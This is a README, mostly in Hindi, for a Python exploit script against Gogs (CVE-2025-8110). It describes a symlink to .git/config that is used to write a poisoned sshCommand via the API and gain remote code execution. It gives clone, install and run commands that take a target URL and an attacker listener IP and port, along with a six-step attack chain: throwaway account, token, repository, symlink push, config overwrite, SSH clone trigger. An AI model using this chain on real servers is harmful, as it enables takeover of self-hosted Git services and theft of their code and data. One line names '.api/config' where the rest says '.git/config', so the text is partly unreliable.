
GOGS RCE cve-2025-8110 पायथन स्क्रिप्ट जो .git/config की ओर इशारा करने वाली सिमलिंक फ़ाइल के साथ एक रिपॉजिटरी बनाने और फिर कॉन्फ़िग फ़ाइल पर ज़हरीले sshCommand के माध्यम से rce ट्रिगर करने की पूरी अटैक चेन को स्वचालित करती है।
Gogs एक हल्का और स्व-होस्टेड Git सेवा है जो GitHub के निजी संस्करण के समान है, जिसे कम-संसाधन वाले सर्वरों पर आसानी से चलाने के लिए डिज़ाइन किया गया है। CVE-2025-8110 भेद्यता एक गंभीर सुरक्षा दोष है जो एक हमलावर को सिम्लिंक का उपयोग करके पथ प्रतिबंधों को बायपास करने की अनुमति देती है। .api/config की ओर इशारा करने वाला एक दुर्भावनापूर्ण लिंक अपलोड करके, एक हमलावर gogs API का उपयोग करके sshCommand पैरामीटर के साथ एक दुर्भावनापूर्ण कॉन्फ़िग फ़ाइल एम्बेड कर सकता है और होस्ट सर्वर पर RCE प्राप्त कर सकता है।
git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE
cd ./cve-2025-8110-GOGS-RCE
pip3 install -r ./requirements.txt
# Print help
python3 ./cve-2025-8110.py --help
# Execute the attack chain with register step
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port>
# Execute the attack chain skipping register | useful when register func returns err statement
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port> -U <username> -P <password>
यह स्क्रिप्ट एक हमला श्रृंखला का अनुसरण करती है, जिसमें निम्नलिखित चरण शामिल हैं:
1. Register & authenticate a throwaway account (Register skipped if creds are provided with -U and -P flags)
2. Obtain an API bearer token
3. Create an auto-initialised repository
4. Clone the repo locally and push a relative symlink malicious_link -> .git/config
5. PUT the malicious git config (with sshCommand) through the symlink via the PutContents API
6. Trigger the sshCommand by cloning the repo over SSH
यह स्क्रिप्ट zAbuQasem (https://github.com/zAbuQasem) poc का उपयोग करके बनाई गई थी।